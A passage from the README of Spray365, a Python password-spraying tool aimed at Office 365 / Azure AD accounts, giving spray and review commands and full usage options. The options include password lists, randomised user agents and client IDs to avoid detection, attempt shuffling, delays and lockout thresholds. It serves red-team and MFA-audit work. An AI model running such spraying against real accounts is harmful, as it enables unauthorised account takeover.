this mode. See help (`spray365.py spray -h`) for more detail. 78 | ```bash 79 | $ python3 spray365.py spray -ep 80 | ``` 81 | e.g. 82 | ```bash 83 | $ python3 spray365.py spray -ep ex-plan.s365 84 | ``` 85 | 86 | #### Reviewing the Results of a Spraying Operation 87 | After spraying credentials from an execution plan, Spray365 outputs a JSON file with the results. This file can be processed using other tools like JQ to gain insights about the spraying operation after it has occurred. However, Spray365 also includes a "review" command which can be used to learn about: 88 | - Valid (and invalid) Accounts 89 | - Valid (and invalid) Credentials 90 | - Partial Valid Credentials (Authentication succeeded, but access was prevented by MFA / Conditional Access Policies) 91 | 92 | See help (`spray365.py review -h`) for more detail. 93 | ```bash 94 | $ python3 spray365.py review 95 | ``` 96 | e.g. 97 | ```bash 98 | $ python3 spray365.py review spray365_results_2022-05-20_18-58-31.json 99 | ``` 100 | 101 | ## Spray365 Usage 102 | 103 |
104 | Generate Mode (Normal) 105 | 106 | ``` 107 | Usage: spray365.py generate normal [OPTIONS] 108 | 109 | Generate a vanilla (normal) execution plan 110 | 111 | Options: 112 | -ep, --execution_plan File path where execution plan should be saved [required] 113 | -d, --domain Office 365 domain to authenticate against [required] 114 | --delay Delay in seconds to wait between authentication attempts [default: 30] 115 | -mD, --min_loop_delay Minimum time to wait between authentication attempts for a given user. This option takes into account the time one spray iteration will take, so a pre-authentication delay may not occur every time [default: 0] 116 | 117 | User options: 118 | -u, --user_file File containing usernames to spray (one per line without domain) [required] 119 | 120 | Password options: [mutually_exclusive, required] 121 | -p, --password Password to spray 122 | -pf, --password_file File containing passwords to spray (one per line) 123 | --passwords_in_userfile Extract passwords from user_file (colon separated) 124 | 125 | Authentication options: 126 | -cID, --aad_client Client ID used during authentication. Leave unspecified for random selection, or provide a comma-separated string 127 | -eID, --aad_endpoint Endpoint ID used during authentication. Leave unspecified for random selection, or provide a comma-separated string 128 | 129 | User Agent options: [mutually_exclusive] 130 | -cUA, --custom_user_agent Set custom user agent for authentication requests 131 | -rUA, --random_user_agent Randomize user agent for authentication requests [default: True] 132 | 133 | Shuffle options: [all_or_none] 134 | -S, --shuffle_auth_order Shuffle order of authentication attempts so that each iteration (User1:Pass1, User2:Pass1, User3:Pass1) will be sprayed in a random order with a random arrangement of passwords, e.g (User4:Pass16, User13:Pass25, User19:Pass40). Be aware this option introduces the possibility that the time between consecutive authentication attempts for a given user may occur DELAY seconds apart. Consider using the-mD/--min_loop_delay option to enforce a minimum delay between authentication attempts for any given user. 135 | -SO, --shuffle_optimization_attempts [default: 10] 136 | 137 | -h, --help Show this message and exit. 138 | ``` 139 |
140 | 141 |
142 | Generate Mode (Audit) 143 | 144 | ``` 145 | Usage: spray365.py generate audit [OPTIONS] 146 | 147 | Generate an execution plan to identify flaws in MFA / Conditional Access Policies. This works best with with known credentials. 148 | 149 | Options: 150 | -ep, --execution_plan File path where execution plan should be saved [required] 151 | -d, --domain Office 365 domain to authenticate against [required] 152 | --delay Delay in seconds to wait between authentication attempts [default: 30] 153 | -mD, --min_loop_delay Minimum time to wait between authentication attempts for a given user. This option takes into account the time one spray iteration will take, so a pre-authentication delay may not occur every time [default: 0] 154 | 155 | User options: 156 | -u, --user_file File containing usernames to spray (one per line without domain) [required] 157 | 158 | Password options: [mutually_exclusive, required] 159 | -p, --password Password to spray 160 | -pf, --password_file File containing passwords to spray (one per line) 161 | --passwords_in_userfile Extract passwords from user_file (colon separated) 162 | 163 | Shuffle options: [all_or_none] 164 | -S, --shuffle_auth_order Shuffle order of authentication attempts so that each iteration (User1:Pass1, User2:Pass1, User3:Pass1) will be sprayed in a random order with a random arrangement of passwords, e.g (User4:Pass16, User13:Pass25, User19:Pass40). Be aware this option introduces the possibility that the time between consecutive authentication attempts for a given user may occur DELAY seconds apart. Consider using the-mD/--min_loop_delay option to enforce a minimum delay between authentication attempts for any given user. 165 | -SO, --shuffle_optimization_attempts [default: 10] 166 | 167 | -h, --help Show this message and exit. 168 | ``` 169 |
170 | 171 |
172 | Spray Mode 173 | 174 | ``` 175 | Usage: spray365.py spray [OPTIONS] 176 | 177 | Password spray user accounts using an existing execution plan 178 | 179 | Options: 180 | -ep, --execution_plan File path to execution plan [required] 181 | -l, --lockout Number of account lockouts to observe before aborting spraying session (disable with 0) [default: 5] 182 | -R, --resume_index Resume spraying passwords from this position in the execution plan [x>=1] 183 | -i, --ignore_success Ignore successful authentication attempts for users and continue to spray credentials. Setting this flag will enable spraying credentials for users even if Spray365 has already identified valid credentials. 184 | 185 | Proxy options: [all_or_none] 186 | -x, --proxy HTTP Proxy URL (format: http[s]://proxy.address:port) 187 | -k, --insecure Disable HTTPS certificate verification 188 | 189 | -h, --help Show this message and exit. 190 | ``` 191 |
192 | 193 |
194 | Review Mode 195 | 196 | ``` 197 | Usage: spray365.py review [OPTIONS] RESULTS 198 | 199 | View data from password spraying results to identify valid accounts and more 200 | 201 | Options: 202 | --show_invalid_creds 203 | --show_invalid_users 204 | 205 | -h, --help Show this message and exit. 206 | ``` 207 |
208 | 209 | ## Acknowledgements 210 | | Author | Tool / Other | Link | 211 | | --- | --- | --- | 212 | | [@__TexasRanger](https://twitter.com/__TexasRanger) | msspray: Conduct password spray attacks against Azure AD as well as validate the implementation of MFA on Azure and Office 365 endpoints | [https://github.com/SecurityRiskAdvisors/msspray](https://github.com/SecurityRiskAdvisors/msspray) 213 | 214 | ## Disclaimer 215 | Usage of this software for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws, in addition to any applicable acceptable use policies. Using this software releases the author(s) of any responsiblity for misuse or damage caused. 216 | --------------------------------------------------------------------------------